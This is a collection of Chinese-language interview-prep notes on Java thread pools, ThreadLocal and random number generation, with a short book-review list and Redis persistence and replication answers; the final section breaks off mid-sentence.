等待队列等待队列,一般是抽象类BlockingQueue的子类。ArrayBlockingQueue有界队列,一种使用数组实现的先进先出的有界阻塞队列。支持公平锁和非公平锁,底层数据结构是数组,需要指定队列的大小。LinkedBlockingQueue无界队列,一种使用链表实现的先进先出的有界阻塞队列。默认的容量是Interge.MAX_VALUE,相比于ArrayBlockingQueue具有更高的吞吐量,但是却丢失了快速随机存取的特性。默认大小是Integer.MAX_VALUE,也可以指定大小。newFixedThreadPool()和newSingleThreadExecutor()的等待队列都是这个阻塞队列。LinkedBlockingDeque一种使用链表实现的具有双向存取功能的有界阻塞队列。在高并发下,相比于LinkedBlockingQueue可以将锁竞争降低最多一半PriorityBlockingQueue一种提供了优先级排序的无界阻塞队列。如果没有提供具体的排列方法,那么将会使用自然排序进行排序,会抛出OOM异常。SynchronousQueueSynchronousQueue一种不存储任务的同步队列,内部没有使用AQS。如果是公平锁模式,每次调用put方法往队列中添加一个线程后,线程先进行自旋,然后超时后就阻塞等待直到有提取线程把调用take方法把操作取出,这样之前调用put方法的线程才能继续执行。如果是非公平锁模式,每次添加任务就是就是把任务添加到栈中,这样就是先进后出,所以非公平。LinkedTransferQueue一种使用链表实现的无界阻塞队列。DelayQueue一种无界的延时队列,可以设置每个元素需要等待多久才能从队列中取出。 延迟队列,该队列中的元素只有当其指定的延迟时间到了,才能够从队列中获取到该元素 。底层数据数据结构是数组实现的堆结构。4.keepAliveTime:非核心线程闲置超时时长。非核心线程如果处于闲置状态超过该值,就会被销毁。如果设置allowCoreThreadTimeOut(true),则会也作用于核心线程。5.RejectedExecutionHandler 拒绝处理策略拒绝处理策略,核心线程已经满了,等待队列也满了,并且线程数量大于最大线程数时,就会采用拒绝处理策略进行处理,四种拒绝处理的策略为 :ThreadPoolExecutor.AbortPolicy:默认拒绝处理策略,丢弃任务并抛出RejectedExecutionException异常。ThreadPoolExecutor.DiscardPolicy:丢弃新来的任务,但是不抛出异常。ThreadPoolExecutor.DiscardOldestPolicy:丢弃等待队列头部(最旧的)的任务,然后重新尝试执行程序,将任务添加到队列中(如果再次失败,重复此过程)。ThreadPoolExecutor.CallerRunsPolicy:由调用线程处理该任务。6.ThreadFactory创建线程的工厂ThreadFactory是一个接口,只有一个newThread()方法。(默认情况下ThreadPoolExecutor用的ThreadFactory默认都是Executors.defaultThreadFactory())。一般来说,你通过ThreadPoolExecutor来创建线程池,对于线程池中的线程你是无法直接接触到的,例如你为了更加方便得定位线程池的Bug,希望对线程池中线程设置跟业务相关的名称,那么就需要建一个类,实现ThreadFactory接口,编写newThread()方法的实现。public interface ThreadFactory { Thread newThread(Runnable r); }线程池执行任务的过程?Executors提供的四种线程池的使用场景。Executors提供四种线程池,分别为:newFixedThreadPool 定长线程池public static ExecutorService newFixedThreadPool(int nThreads) { return new ThreadPoolExecutor(nThreads, nThreads, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>()); public LinkedBlockingQueue() { this(Integer.MAX_VALUE); }一句话总结就是:线程数固定,等待队列无限长。创建一个线程池,核心线程数与最大线程数值都是传入参数nThreads。可控制线程最大并发数,超出的线程会在队列中等待(比较适合需要控制并发量的情况)。主要是通过将核心线程数设置为与最大线程数相等实现的。缺点是LinkedBlockingQueue队列的默认长度是Integer.MAX_VALUE,也存在内存溢出的风险。与CachedThreadPool的区别:因为 corePoolSize == maximumPoolSize ,所以newFixedThreadPool只会创建核心线程。 而CachedThreadPool因为corePoolSize=0,所以只会创建非核心线程。在 getTask() 方法,如果队列里没有任务可取,线程会一直阻塞在 LinkedBlockingQueue.take() ,线程不会被回收。 CachedThreadPool的线程会在60s后收回。由于线程不会被回收,会一直卡在阻塞,所以没有任务的情况下, FixedThreadPool占用资源更多。都几乎不会触发拒绝策略,但是原理不同。FixedThreadPool是因为阻塞队列可以很大(最大为Integer最大值),故几乎不会触发拒绝策略;CachedThreadPool是因为线程池很大(最大为Integer最大值),几乎不会导致线程数量大于最大线程数,故几乎不会触发拒绝策略。newSingleThreadExecutor 单线程池public static ExecutorService newSingleThreadExecutor() { return new FinalizableDelegatedExecutorService (new ThreadPoolExecutor(1, 1, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>())); }一句话总结就是:单线程池,等待队列无限长。创建一个单线程化的线程池,它只会用唯一的工作线程来执行任务,保证所有任务按照指定顺序(FIFO, LIFO, 优先级)执行。主要是通过将核心线程数和最大线程数都设置为1来实现。newCachedThreadPool可缓存线程池创建一个可缓存线程池,如果线程池长度超过处理需要,可灵活回收空闲线程,若无可回收,则新建线程。但是由于最大线程数设置的是Integer.MAX_VALUE,存在内存溢出的风险。一句话总结就是:最大线程数无限大,线程超时被回收public static ExecutorService newCachedThreadPool() { return new ThreadPoolExecutor(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<Runnable>()); }CacheThreadPool的运行流程如下:提交任务进线程池。因为corePoolSize为0的关系,不创建核心线程,线程池最大为Integer.MAX_VALUE。尝试将任务添加到SynchronousQueue队列。(需要注意的是SynchronousQueue本身不存储任务,只是将添加任务的线程加入一个栈中,进行阻塞等待,然后线程池中的线程空闲时,会从栈中取出线程,取出线程携带的任务,进行执行。)如果SynchronousQueue入列成功,等待被当前运行的线程空闲后拉取执行。如果当前没有空闲线程,那么就创建一个非核心线程,然后从SynchronousQueue拉取任务并在当前线程执行。如果SynchronousQueue已有任务在等待,入列操作将会阻塞。当需要执行很多短时间的任务时,CacheThreadPool的线程复用率比较高, 会显著的提高性能。而且线程60s后会回收,意味着即使没有任务进来,CacheThreadPool并不会占用很多资源。newScheduledThreadPool定时执行线程池创建一个定时执行的线程池,主要是通过DelayedWorkQueue来实现(该队列中的元素只有当其指定的延迟时间到了,才能够从队列中获取到该元素)。支持定时及周期性任务执行。但是由于最大线程数设置的是Integer.MAX_VALUE,存在内存溢出的风险。一句话总结就是:线程数无限大,定时执行。public ScheduledThreadPoolExecutor(int corePoolSize, ThreadFactory threadFactory) { super(corePoolSize, Integer.MAX_VALUE, 0, NANOSECONDS, new DelayedWorkQueue(), threadFactory); }为什么不建议大家使用Executors的四种线程池呢?主要是newFixedThreadPool和newSingleThreadExecutor的等待队列是LinkedBlockingQueue,长度是Integer.MAX_VALUE,,可以认为是无限大的,如果创建的任务特别多,可能会造成内存溢出。而newCachedThreadPool和newScheduledThreadPool的最大线程数是Integer.MAX_VALUE,如果创建的任务过多,可能会导致创建的线程过多,从而导致内存溢出。扩展资料:Java线程池实现原理及其在美团业务中的实践SynchronousQueue实现原理线程池有哪些状态?线程池生命周期:RUNNING:表示线程池处于运行状态,这时候的线程池可以接受任务和处理任务。值是-1,SHUTDOWN:表示线程池不接受新任务,但仍然可以处理队列中的任务,二进制值是0。调用showdown()方法会进入到SHUTDOWN状态。STOP:表示线程池不接受新任务,也不处理队列中的任务,同时中断正在执行任务的线程,值是1。调用showdownNow()方法会进入到STOP状态。TIDYING:表示所有的任务都已经终止,并且工作线程的数量为0。值是2。SHUTDOWN和STOP状态的线程池任务执行完了,工作线程也为0了就会进入到TIDYING状态。TERMINATED:表示线程池处于终止状态。值是3怎么根据业务场景确定线程池的参数corePoolSize和maximumPoolSize?方法一 计算密集型任务因为是计算密集型任务,可以理解为每个任务在执行期间基本没有IO操作,全部都在CPU时间片中执行。所以可以理解为CPU就是满载的,CPU利用率就是100%,其实线程数等于CPU数就可以的,但是由于需要考虑到计算密集型的线程恰好在某时因为发生一个页错误或者因其他原因而暂停,此时应该需要有一个“额外”的空闲线程来获得时间片,然后执行,可以确保在这种情况下CPU周期不会中断工作,充分利用CPU。最佳线程数=CPU的数量+1方法二 IO密集型任务这种任务在执行时,需要进行一些IO操作,所以为了充分利用CPU,应该在线程进行IO操作时,就让出时间片,CPU进行上下文切换,执行其他线程的任务,保证CPU利用率尽可能达到100%。如果任务有50%的时间需要CPU执行状态,其他时间进行IO操作,则程序所需线程数为CPU数量的1除以0.5,也就是2倍。如果任务有20%的时时间需要CPU执行,其他时间需要进行IO操作,最佳线程数也就是1除以0.2,也就是CPU数的5倍。 所以公式为最佳线程数 = CPU数量/(每个任务中需要CPU执行的时间的比例) = CPU数量/(CPU运行时间/任务执行总时间)=CPU数量/(CPU运行时间/(CPU运行时间+IO操作时间)) 所以最终公式为 最佳线程数/CPU数量 = CPU运行时间/(CPU运行时间+IO操作时间)不足但是在实际线上运行的环境中,每个任务执行的时间是各不相同的,而且我们其实是不太方便去监测每个任务执行时需要的CPU执行时间,IO操作时间的,所以这种方法只是一种理论。方法三 动态化线程池这种其实是美团他们做的一个线程池监测平台,主要把任务分成两种,追求响应时间的任务一种是追求响应时间的任务,例如使用线程池对发起多个网络请求,然后对结果进行计算。 这种任务的最大线程数需要设置大一点,然后队列使用同步队列,队列中不缓存任务,任务来了就会被执行。判断线程池资源不够用时,一般是发现活跃线程数/最大线程数>阀值(默认是0.8)时,或者是线程池抛出的RejectedExecut异常次数达到阀值,就会进行告警。然后程序员收到告警后,动态发送修改核心线程数,最大线程数,队列相关的指令,服务器进行动态修改。追求高吞吐量的任务假设说需要定期自动化生成一些报表,不需要考虑响应时间,只是希望如何使用有限的资源,尽可能在单位时间内处理更多的任务,也就是吞吐量优先的问题。 这种就是使用有界队列,对任务进行缓存,然后线程进行并发执行。判断线程池资源不够用时,一般是发现等待队列中的任务数量/等待队列的长度>阀值(默认是0.8)时,或者是线程池抛出的RejectedExecut异常次数达到阀值,就会进行告警。然后程序员收到告警后,动态发送修改核心线程数,最大线程数,队列相关的指令,服务器进行动态修改。ThreadPoolExecutor提供了如下几个public的setter方法调用corePoolSize方法之后,线程池会直接覆盖原来的corePoolSize值,并且基于当前值和原始值的比较结果采取不同的处理策略。(总得来说就是,多退少补的策略)对于新corePoolSize<当前工作线程数的情况:说明有多余的worker线程,此时会向当前idle状态的worker线程发起中断请求以实现回收,多余的worker在下次idel的时候也会被回收。对于新corePoolSize>当前工作线程数且队列中有任务的情况:如果当前队列中有待执行任务,则线程池会创建新的worker线程来执行队列任务。setCorePoolSize的方法的执行流程入下图所示:扩展资料:Java并发(八)计算线程池最佳线程数ThreadLocal是什么?怎么避免内存泄露?从字面意思上,ThreadLocal会被理解为线程本地存储,就是对于代码中的一个变量,每个线程拥有这个变量的一个副本,访问和修改它时都是对副本进行操作。使用场景:ThreadLocal 适用于每个线程需要自己独立的实例且该实例需要在多个方法中被使用,也即变量在线程间隔离而在方法或类间共享的场景。(例如:方法直接调用时传递的变量过多,为了代码简洁性,可以使用ThreadLocal,在前一个方法中,将变量进行存储,后一个方法中取,进行使用。)public class A { // 每个线程本地副本初始化 private static ThreadLocal <UserData> threadLocal = new ThreadLocal <>(). withInitial (() -> new UserData ()); public static void setUser (UserLogin user){ if (user == null ) return ; UserData userData = threadLocal.get(); userData. setUserLogin (user); public static UserLogin getUser (){ return threadLocal.get(). getUserLogin (); }实现原理就是每个Thread有一个ThreadLocalMap,类似于HashMap,当调用ThreadLocal#set()方法进行存值时,实际上是先获取到当前的线程,然后获取线程的map,是一个ThreadLocalMap类型,然后会在这个map中添加一个新的键值对,key就是我们ThreadLocal变量的地址,value就是我们存的值。ThreadLocalMap与HashMap不同的时,解决HashMap使用的是开放定址法,也就是当发现hashCode计算得到数组下标已经存储了元素后,会继续往后找,直到找到一个空的数组下标,存储键值对。//ThreadLocal实例的赋值方法 public void set(T value) { //获取当前线程 Thread t = Thread.currentThread(); //获取线程对应的Map ThreadLocalMap map = getMap(t); //将值存入线程特有的Map中 if (map != null) //key为this就是当前ThreadLocal引用变量的地址 //value就是我们要存储的值 map.set(this, value); createMap(t, value); ThreadLocalMap getMap(Thread t) { //线程的threadLocals实例变量就是Map return t.threadLocals; }ThreadLocal中的Entry的key使用了弱引用,为什么使用弱引用?首先在上面类A的代码中,类A中有一个ThreadLocal类型的变量它们的引用链如下:ThreadLocal变量所在的类的实例(代码中A的实例)->ThreadLocal 执行代码的线程->线程独有的ThreadLocalMap->引用的key就是ThreadLocal可以看到ThreadLocal变量不仅被所在的类A的实例所引用,还被执行的线程所引用,1.如果使用强引用,也就是线程对ThreadLocal变量是强引用,那么即便实例A被回收了,只要线程还没有被回收,线程的ThreadLocalMap还会引用这个key(也就是这个ThreadLocal遍历),导致这个key 没有被回收,造成内存泄露。2.如果使用弱引用,不会影响key的回收,也就是不会影响引用了ThreadLocal的实例对象的回收。但是即便使用弱引用,ThreadLocalMap对value的引用是强引用(一边value是局部变量,也不能用弱引用,那样在用到的时候就会被),但是value依然不会被回收,会造成内存泄露。通常来说,value回收的时机有两个:1.我们在用完ThreadLocal后,应该遵循规范手动调用ThreadLocal#remove()对键值对value释放,这样可以使value被回收。2.此线程在其他对象中使用ThreadLocal对线程ThreadLocalMap进行set()和get()时,由于需要进行开放定址法进行探测,会对沿途过期的键值对(就是key为null的键值对)进行清除。以及set()方法触发的cleanSomeSlots()方法对过期键值对进行清除。《一篇文章,从源码深入详解ThreadLocal内存泄漏问题》Random类取随机数的原理是什么?首先在初始化Random实例的时候就会根据当前的时间戳生成一个种子数seed。public Random() { this(seedUniquifier() ^ System.nanoTime()); private static long seedUniquifier() { // L'Ecuyer, "Tables of Linear Congruential Generators of // Different Sizes and Good Lattice Structure", 1999 for (;;) { long current = seedUniquifier.get(); long next = current * 181783497276652981L; if (seedUniquifier.compareAndSet(current, next)) return next; }然后每次取随机数时是拿seed乘以一个固定值multiplier,作为随机数。protected int next(int bits) { long oldseed, nextseed; AtomicLong seed = this.seed; oldseed = seed.get(); nextseed = (oldseed * multiplier + addend) & mask; } while (!seed.compareAndSet(oldseed, nextseed)); return (int)(nextseed >>> (48 - bits)); }但是这样的话,多线程并发使用Math.random取随机数时,同一个时间点取到的随机数一样的概率会比较大。所以可以使用ThreadLocalRandom.current().nextInt()方法去取随机数。每个线程第一次调用ThreadLocalRandomd的current()方法时,会为这个线程生成一个线程独立的种子数seed,这样多线程并发读取随机数时,可以保证取到的随机数都是不一样的。public static ThreadLocalRandom current() { //判断这个线程是否生成种子 if (UNSAFE.getInt(Thread.currentThread(), PROBE) == 0) localInit(); return instance; //为这个线程生成一个种子seed,并且将种子seed,和线程已生成种子的标志 存储到Unsafe类中 static final void localInit() { int p = probeGenerator.addAndGet(PROBE_INCREMENT); int probe = (p == 0) ? 1 : p; // skip 0 long seed = mix64(seeder.getAndAdd(SEEDER_INCREMENT)); Thread t = Thread.currentThread(); UNSAFE.putLong(t, SEED, seed); UNSAFE.putInt(t, PROBE, probe); //获取随机数,根据当前种子计算随机数 public int nextInt(int origin, int bound) { if (origin >= bound) throw new IllegalArgumentException(BadRange); return internalNextInt(origin, bound); final int internalNextInt(int origin, int bound) { int r = mix32(nextSeed()); if (origin < bound) { int n = bound - origin, m = n - 1; if ((n & m) == 0) r = (r & m) + origin; else if (n > 0) { for (int u = r >>> 1; u + m - (r = u % n) < 0; u = mix32(nextSeed()) >>> 1) r += origin; else { while (r < origin || r >= bound) r = mix32(nextSeed()); return r; }僵尸进程,孤儿进程,守护进程是什么?僵尸进程:通常来说,使用fork()系统调用从一个父进程创建出一个子进程,子进程退出,是需要父进程调用wait()或者是waitpid()函数来回收子进程的资源,如果父进程没有调用,子进程的信息就会一直在内存中,而不会被回收,变成僵尸进程。孤儿进程:就是父进程先退出了,它的子进程会被init进程接管,由它来收集子进程的状态。(init进程是内核启动时,创建出来的进程,是一个以root身份运行的普通用户进程,是永远不会停止的。)守护进程是脱离于终端并且在后台运行的进程,脱离终端是为了避免将在执行的过程中的信息打印在终端上,并且进程也不会被任何终端所产生的终端信息所打断。BlockingQueue的原理是怎么样的?https://www.cnblogs.com/tjudzj/p/4454490.html进程间通信的方式https://network.51cto.com/art/201911/606827.htm?mobile
技术书籍其实有很多,我自己也买了很多,网上也有很多推荐书单,但是每个的情况都不太一样,当前工作中需要深入了解的技术面也不尽相同。所以我就谈一谈我自己买的一些书,以及看的一些书的感受。我的感受是看完一本技术书籍,只算是完成了20%,看完书写读书笔记,也只能算是完成了40%,看完书然后自己找一些面试题,自己翻书查资料,尝试着用自己的语言来讲解面试题,才算是完成了80%。就像在中学时,如果只是上课听懂,或者上课记很多笔记,但是回家从来不做作业,考试肯定得不了高分。所以也欢迎大家一起来完善这个项目!《深入理解Java虚拟机 第三版》推荐指数:五星阅读进度:20%感受:这本书是在2019年双十二的时候出第三版了,作者更新了一些内容,强烈建议大家都买一本来看看,我自己还没有看完。《疯狂Java讲义》推荐指数:五星阅读进度:70%感受:这本书大概看了一半,还没有完全看完,特点是比较全,讲解得比较通俗易懂,也有很多大学使用这本书当做教材。我个人认为对于普通的开发工程师来说,比看《Java编程思想》 ,《Java核心技术 卷I》 要好一些。《Java核心技术 卷I》推荐指数:三星阅读进度:100%感受:这本书是比较好的书,可能国内的编辑翻译得比较生涩,有些地方没有那么好通俗易懂,而且很多地方也不是很深入。我只看了卷I,我觉得还是看看《疯狂Java讲义》要便于理解一些。《Effective Java》推荐指数:四星阅读进度:100%感受:书是好书,但是编辑翻译得让人捉急,可以先看看《疯狂Java讲义》,之后再来看这本书。《Redis设计与实现》推荐指数:五星阅读进度:100%感受:这本书对于了解的Redis原理还是很好的,我觉得可以看一看(里面的原理都是针对于Redis 2.6,可能有一些实现已经遍历,例如在老版本中,List存储的元素较少时,会使用ziplist作为底层实现,元素较多时,使用linkedList来作为底层实现,而在新版本,引入了一种新的数据结构quickList,来作为底层实现。)《Redis深度历险:核心原理与应用实践》推荐指数:五星阅读进度:100%感受:这本书是一个掘金作者写的掘金小册,我感觉作者是阅读了《Redis设计与实现》,并且作者也去看了一下源码和其他博客,然后整理写得一个小册,覆盖了Redis的方方面面,比较全面,但是因为篇幅有限,更像是一个概要,快速了解一些技术点,需要深入了解还是需要看《Redis设计与实现》或者自己去资料。图书链接:https://juejin.im/book/5afc2e5f6fb9a07a9b362527《MySQL必知必会》推荐指数:三星阅读进度:100%感受:这本书讲得比较全面,主要是讲用法,看起来很轻松,如果想要快速了解MySQL的各种用法,可以买一本来看一看。《操作系统导论》推荐指数:五星阅读进度:0%感受:这本书我是买了,但是还没有看,看评价是国外的一对计算机教授夫妇以通俗易懂地方式来讲解操作系统,也是2019年才出中文版的,之前都是Github上的一些爱好者们在自发得对这本书的英文原版翻译。豆瓣链接:https://book.douban.com/subject/33463930《大话数据结构》推荐指数:五星阅读进度:30%感受:感觉讲得还比较通俗,需要复习数据结构的朋友可以看一看。还有一些看过的书,之后再来更新了,还有很多书,买了还没有看,看完了再来更新吧。
下面是主要是自己看完《Redis设计与实现》,《Redis深度历险:核心原理与应用实践》后,为了更好得掌握Redis,网上找了一些面试题,查阅书籍和资料后,写的解答。1.Redis的持久化是怎么实现的?2.AOF和RDB的区别是什么?3.怎么防止AOF文件越来越大?4.Redis持久化策略该如何进行选择?Redis的持久化是怎么实现的?因为Redis是基于内存的数据库,一旦断电,所有实例都会关机,所有数据都会丢失,在运行期间,可以通过开启Redis的持久化功能,将数据写入磁盘,供实例重启时恢复数据。Redis的持久化主要通过AOF和RDB实现持久化。AOF持久化AOF持久化主要是Redis在修改相关的命令后,将命令添加到aof_buf缓存区(aof_buf是Redis中的SDS结构,SDS结构可以认为是对C语言中字符串的扩展)的末尾,然后在每次事件循环结束时,根据appendfsync的配置(always是每次事件循环都将aof_buf缓冲区的内容写入,everysec是每秒写入,no是根据操作系统来决定何时写入),判断是否需要将aof_buf写入AOF文件。生产环境中一般用默认配置everysec,也就是每秒写入一次,一旦挂机会丢掉1分钟的数据。struct redisServer { /* AOF buffer, written before entering the event loop */ sds aof_buf;//aof_buf缓冲区其实就是Redis的一个简单动态字符串 struct sdshdr { unsigned int len; unsigned int free; char buf[]; };RDB持久化基本定义RDB持久化指的是在满足一定的触发条件时(在一个的时间间隔内执行修改命令达到一定的数量,或者手动执行SAVE和BGSAVE命令),对这个时间点的数据库所有键值对信息生成一个压缩文件dump.rdb,然后将旧的删除,进行替换。(在Redis默认的配置下,RDB是开启的,AOF持久化是关闭的)实现原理实现原理是fork一个子进程,然后对键值对进行遍历,生成rdb文件,在生成过程中,父进程会继续处理客户端发送的请求,当父进程要对数据进行修改时,会对相关的内存页进行拷贝,修改的是拷贝后的数据。(也就是COPY ON WRITE,写时复制技术,就是当多个调用者同时请求同一个资源,如内存或磁盘上的数据存储,他们会共用同一个指向资源的指针,指向相同的资源,只有当一个调用者试图修改资源的内容时,系统才会真正复制一份专用副本给这个调用者,其他调用者还是使用最初的资源,在CopyOnWriteArrayList的实现中,也有用到,添加或者插入一个新元素时过程是,加锁,对原数组进行复制,然后添加新元素,然后替代旧数组,解锁)//CopyOnWriteArrayList的添加元素的方法 public boolean add(E e) { final ReentrantLock lock = this.lock; lock.lock(); try { Object[] elements = getArray(); int len = elements.length; Object[] newElements = Arrays.copyOf(elements, len + 1); newElements[len] = e; setArray(newElements); return true; } finally { lock.unlock(); }AOF和RDB的区别是什么?AOF因为是保存了所有执行的修改命令,粒度更细,进行数据恢复时,恢复的数据更加完整,但是由于需要对所有命令执行一遍,效率比较低,同样因为是保存了所有的修改命令,同样的数据集,保存的文件会比RDB大,而且随着执行时间的增加,AOF文件可能会越来越大,所有会通过执行BGREWRITEAOF命令来重新生成AOF文件,减小文件大小。Redis服务器故障重启后,默认恢复数据的方式首选是通过AOF文件恢复,其次是通过RDB文件恢复。RDB是保存某一个时间点的所有键值对信息,所以恢复时可能会丢失一部分数据,但是恢复效率会比较高。怎么防止AOF文件越来越大?为了防止AOF文件越来越大,可以通过执行BGREWRITEAOF命令进行AOF重写,会fork子进程出来,读取当前数据库的键值对信息,生成所需的写命令,写入新的AOF文件。在生成期间,父进程继续正常处理请求,执行修改命令后,不仅会将命令写入aof_buf缓冲区,还会写入重写aof_buf缓冲区。当新的AOF文件生成完毕后,子进程父进程发送信号,父进程将重写aof_buf缓冲区的修改命令写入新的AOF文件,写入完毕后,对新的AOF文件进行改名,原子地(atomic)地替换旧的AOF文件。AOF重写命令可以手动执行,在满足一些条件时,Redis也会自动触发。自动触发的条件如下:没有 BGSAVE 命令在执行。没有 BGREWRITEAOF 在执行。当前AOF文件大小 > server.aof_rewrite_min_size(默认为1MB)。当前AOF文件大小和最后一次AOF重写后的大小之间的比率大于等于指定的增长百分比(默认为1倍,100%,也就是当前AOF文件大小>=上次重写后文件的2倍后)Redis持久化策略该如何进行选择?RDB持久化的特点是: 文件小,恢复快,不影响性能,实时性低,兼容性差(老版本的Redis不兼容新版本的RDB文件) AOF持久化的特点是: 文件大,恢复慢,性能影响大,实时性高。是目前持久化的主流(主要是当前项目开发不太能接受大量数据丢失的情况)。 需要了解的是持久化选项的开启必然会造成一定的性能消耗。两种持久化方式的缺点:RDB持久化主要在于bgsave在进行fork操作时,会阻塞Redis的主线程。以及向硬盘写数据会有一定的I/O压力。AOF持久化主要在于将aof_buf缓冲区的数据同步到磁盘时会有I/O压力,而且向硬盘写数据的频率会高很多。其次是,AOF文件重写跟RDB持久化类似,也会有fork时的阻塞和向硬盘写数据的压力。以下是几种持久化方案选择的场景:1.不需要考虑数据丢失的情况那么不需要考虑持久化。2.单机实例情况下可以接受丢失十几分钟及更长时间的数据,可以选择RDB持久化,对性能影响小,如果只能接受秒级的数据丢失,只能选择AOF持久化。3.在主从环境下因为主服务器在执行修改命令后,会将命令发送给从服务器,从服务进行执行后,与主服务器保持数据同步,实现数据热备份,在master宕掉后继续提供服务。同时也可以进行读写分离,分担Redis的读请求。那么在从服务器进行数据热备份的情况下,是否还需要持久化呢? 需要持久化,因为不进行持久化,主服务器,从服务器同时出现故障时,会导致数据丢失。(例如:机房全部机器断电)。如果系统中有自动拉起机制(即检测到服务停止后重启该服务)将master自动重启,由于没有持久化文件,那么master重启后数据是空的,slave同步数据也变成了空的。应尽量避免“自动拉起机制”和“不做持久化”同时出现。所以一般可以采用以下方案:主服务器不开启持久化,使得主服务器性能更好。从服务器开启AOF持久化,关闭RDB持久化,并且定时对AOF文件进行备份,以及在凌晨执行bgaofrewrite命令来进行AOF文件重写,减小AOF文件大小。(当然如果对数据丢失容忍度高也可以开启RDB持久化,关闭AOF持久化)4.异地灾备一般性的故障(停电,关机)不会影响到磁盘,但是一些灾难性的故障(地震,洪水)会影响到磁盘,所以需要定时把单机上或从服务器上的AOF文件,RDB文件备份到其他地区的机房。什么是AOF文件追加阻塞?修改命令添加到aof_buf之后,如果配置是everysec,那么会有一个线程每秒执行fsync操作,调用write写入磁盘一次,但是如果此时来了很多Redis请求,Redis主线程持续高速向aof_buf写入命令,硬盘的负载可能会越来越大,IO资源消耗更快,fsync操作可能会超过1s,aof_buf缓冲区堆积的命令会越来越多,所以Redis的处理逻辑是会对比上次fsync成功的时间,如果超过2s,则主线程阻塞直到fsync同步完成,所以最多可能丢失2s的数据,而不是1s。(每当 AOF 追加阻塞事件发生时,在 info Persistence 统计中,aof_delayed_fsync 指标会累加,查看这个指标方便定位 AOF 阻塞问题。)什么是RDB-AOF混合持久化?redis4.0相对与3.X版本其中一个比较大的变化是4.0添加了新的混合持久化方式。前面已经详细介绍了AOF持久化以及RDB持久化,这里介绍的混合持久化就是同时结合RDB持久化以及AOF持久化混合写入AOF文件。这样做的好处是可以结合 rdb 和 aof 的优点, 快速加载同时避免丢失过多的数据,缺点是 aof 里面的 rdb 部分就是压缩格式不再是 aof 格式,可读性差。开启混合持久化4.0版本的混合持久化默认关闭的,通过aof-use-rdb-preamble配置参数控制,yes则表示开启,no表示禁用,默认是禁用的,可通过config set修改。混合持久化过程了解了AOF持久化过程和RDB持久化过程以后,混合持久化过程就相对简单了。混合持久化同样也是通过BGREWRITEAOF完成的,不同的是当开启混合持久化时,fork出的子进程先将共享的内存副本全量的以RDB方式写入aof文件,然后在将重写缓冲区的增量命令以AOF方式写入到文件,写入完成后通知主进程更新统计信息,并将新的含有RDB格式和AOF格式的AOF文件替换旧的的AOF文件。简单的说:新的AOF文件前半段是RDB格式的全量数据后半段是AOF格式的增量数据,如下图:数据恢复当我们开启了混合持久化时,启动redis依然优先加载aof文件,aof文件加载可能有两种情况如下:aof文件开头是rdb的格式, 先加载 rdb内容再加载剩余的 aof。aof文件开头不是rdb的格式,直接以aof格式加载整个文件。优缺点优点:混合持久化结合了RDB持久化和 AOF 持久化的优点, 由于绝大部分都是RDB格式,生成的AOF文件体积更小,加载速度快,同时结合AOF,增量的数据以AOF方式保存了,数据更少的丢失。缺点:兼容性差,一旦开启了混合持久化,在4.0之前版本都不识别该aof文件,同时由于前部分是RDB格式,阅读性较差
下面是主要是自己看完《Redis设计与实现》,《Redis深度历险:核心原理与应用实践》后,为了更好得掌握Redis,网上找了一些面试题,查阅书籍和资料后,写的解答。1.Redis主从同步是怎么实现的?2.Redis中哨兵是什么?3.客户端是怎么接入哨兵系统的?4.Redis哨兵系统是怎么实现自动故障转移的?5.谈一谈你对Redis Cluster的理解?6.RedisCluster是怎么实现数据分片的?7.RedisCluster是怎么做故障转移和发现的?Redis主从同步是怎么实现的?主从节点建立连接后,从节点会进行判断:1.如果这是从节点之前没有同步过数据属于初次复制,会进行全量重同步,那么从节点会向主节点发送PSYNC?-1 命令,请求主节点进行全量重同步。2.如果从节点不是初次复制(例如出现掉线后重连) 这个时候从节点会将之前进行同步的Replication ID(一个随机字符串,标识主节点上的特定数据集)和offset(从服务器当前的复制偏移量)通过PSYNC id offset命令发送给主节点,主节点会进行判断,如果Replication ID跟当前的Replication ID不一致(可能主节点进行了变化),或者是当前buffer缓冲区中不存在对应的offset,那么会跟上面的初次复制一样,进行全量重同步。如果Replication ID跟当前的Replication ID一致并且当前buffer缓冲区中存在对应的offset,那么会进行部分重同步。(部分重同步是Redis 2.8之后的版本支持的,主要基于性能考虑,为了断线期间的小部分数据修改进行全量重同步效率比较低)全量重同步主节点会执行BGSAVE命令,fork出一个子进程,在后台生成一个RDB持久化文件,完成后,发送给从服务器,从节点接受并载入RDB文件,使得从节点的数据库状态更新至主节点执行BGSAVE命令时的状态。并且在生成RDB文件期间,主节点也会使用一个缓冲区来记录这个期间执行的所有写命令,将这些命令发送给从节点,从节点执行命令将自己数据库状态更新至与主节点完全一致。部分重同步因为此时从节点只是落后主节点一小段时间的数据修改,并且偏移量在复制缓冲区buffer中可以找到,所以主节点把从节点落后的这部分数据修改命令发送给从节点,完成同步。命令传播在执行全量重同步或者部分重同步以后,主从节点的数据库状态达到一致后,会进入到命令传播阶段。主节点执行修改命令后,会将修改命令添加到内存中的buffer缓冲区(是一个定长的环形数组,满了时就会覆盖前面的数据),然后异步地将buffer缓冲区的命令发送给从节点。Redis中哨兵是什么?Redis中的哨兵服务器是一个运行在哨兵模式下的Redis服务器,核心功能是监测主节点和从节点的运行情况,在主节点出现故障后,完成自动故障转移,让某个从节点升级为主节点。客户端是怎么接入哨兵系统的?**配置提供者:**前者只负责存储当前最新的主从节点信息,供客户端获取。代理:客户端所有请求都会经过哨兵节点。首先Redis中的哨兵节点是一个配置提供者,而不是代理。因为客户端只是在首次连接时从哨兵节点获取主节点信息,后续直接与主节点进行连接,发送请求,接收请求结果。具体流程:String masterName = "mymaster"; Set<String> sentinels = new HashSet<>(); sentinels.add("192.168.92.128:26379"); sentinels.add("192.168.92.128:26380"); JedisSentinelPool pool = new JedisSentinelPool(masterName, sentinels); //初始化过程做了很多工作 Jedis jedis = pool.getResource(); jedis.set("key1", "value1"); pool.close();在实际开发中,通过在客户端配置哨兵节点的地址+主节点的名称(哨兵系统可能会监控多个主从节点,名称用于区分)就可以与哨兵节点建立连接,获取到主节点信息,然后与主节点建立连接,并且订阅哨兵节点的频道,以便在主节点变化后,接受到通知。 上面的代码在底层实现是客户端向依次向哨兵节点发送"sentinel 